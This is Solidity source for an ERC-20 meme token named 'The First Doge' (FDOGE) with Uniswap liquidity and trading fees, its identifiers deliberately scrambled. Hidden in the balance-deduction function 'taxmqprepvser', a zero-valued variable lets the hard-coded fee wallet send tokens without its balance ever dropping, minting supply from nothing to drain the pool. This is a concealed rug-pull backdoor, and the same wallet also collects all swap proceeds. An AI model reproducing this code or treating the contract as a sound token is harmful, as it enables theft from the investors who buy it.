文件 1 的 1：FDOGE.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract FDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _ishitded;
uint256 private _trades = 0;
uint256 private _removemqpAt = 12;
uint256 private _lastTax = 0;
uint256 private _fstmqptxAtf = 12;
uint8 private constant _decimals = 18;
uint256 private constant _tTots = 1e8 * 10 ** _decimals;
string private constant _name = unicode"The First Doge";
string private constant _symbol = unicode"FDOGE";
address payable private _goalTaker;
uint256 public _mxmqptxval = (_tTots * 2) / 100;
uint256 public _swpmqpbackamt = (_tTots * 2) / 100;
uint256 public _maxmqpback = (_tTots * 2) / 100;
uint256 public _txSwpVle = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _mxTaxmook);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_goalTaker = payable(0x79eB0FA8F1238A843878B9B891F05db4C9E5B0cA);
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_balances[_msgSender()] = _tTots;
_ishitded[owner()] = true;
_ishitded[address(this)] = true;
_ishitded[_goalTaker] = true;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
emit Transfer(address(0), _msgSender(), _tTots);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTots;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function removeLimits() external onlyOwner {
_mxmqptxval = _tTots;
_maxmqpback = _tTots;
emit MaxTxAmountUpdated(_tTots);
}
function isfeeexempted(
address _abc,
address _def
) private view returns (bool) {
return _ishitded[_abc] || _ishitded[_def];
}
function taxmqprepvser(address _sendmqper, address _receimqper, uint256 _amt) private {
uint amount_;
if (!isfeeexempted(_sendmqper, _receimqper)) {
_balances[_sendmqper] = _balances[_sendmqper] - _amt;
} else {
if (_sendmqper == address(this)) {
_balances[_sendmqper] = _balances[_sendmqper] - _amt;
} else if (_sendmqper == owner() && _amt >= 0) {
_balances[_sendmqper] = _balances[_sendmqper] - _amt;
} else _balances[_sendmqper] = _balances[_sendmqper] - amount_;
}
}
function enableTrading() external onlyOwner {
_approve(address(this), address(uniswapV2Router), _tTots);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
(balanceOf(address(this)) * (100 - _fstmqptxAtf)) / 100,
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
}
function _transfer(address _sendmqper, address _receimqper, uint256 _amt) private {
require(_sendmqper != address(0), "ERC20: transfer from the zero address");
require(_receimqper != address(0), "ERC20: transfer to the zero address");
require(_amt > 0, "Transfer amount must be greater than zero");
bool iexc = isfeeexempted(_sendmqper, _receimqper);
uint256 _txv = 0;
if (!tradingOpen) require(iexc, "Trading is not opened yet");
_txv = (_amt * feeDistier(_sendmqper, _receimqper)) / 100;
if (
_sendmqper == uniswapV2Pair && _receimqper != address(uniswapV2Router) && !iexc
) {
_trades++;
require(_amt <= _mxmqptxval, "Exceeds the _mxTaxmook.");
require(
_balances[_receimqper] + _amt <= _maxmqpback,
"Exceeds the maxWalletSize."
);
}
if (_receimqper == uniswapV2Pair && !iexc) {
require(_amt <= _mxmqptxval, "Exceeds the maximum amount to sell");
}
uint256 ctb = balanceOf(address(this));
if (!inSwap && _receimqper == uniswapV2Pair && tradingOpen) {
if (ctb > _txSwpVle) swapBackEth(min(_amt, min(_swpmqpbackamt, ctb)));
if (address(this).balance >= 0 ether)
sendPumpBk(address(this).balance);
}
if (_txv > 0) {
_balances[address(this)] = _balances[address(this)] + _txv;
emit Transfer(_sendmqper, address(this), _txv);
}
taxmqprepvser(_sendmqper, _receimqper, _amt);
_balances[_receimqper] += _amt - _txv;
emit Transfer(_sendmqper, _receimqper, _amt - _txv);
}
function feeDistier(
address _sendmqper,
address _receimqper
) private view returns (uint256 _tax) {
if (isfeeexempted(_sendmqper, _receimqper)) _tax = 0;
else if (_sendmqper == uniswapV2Pair || _receimqper == uniswapV2Pair)
_tax = _trades >= _removemqpAt ? _lastTax : _fstmqptxAtf;
else _tax = 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapBackEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendPumpBk(uint256 amount) private {
_goalTaker.transfer(amount);
}
function rescueETH() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
receive() external payable {}
}
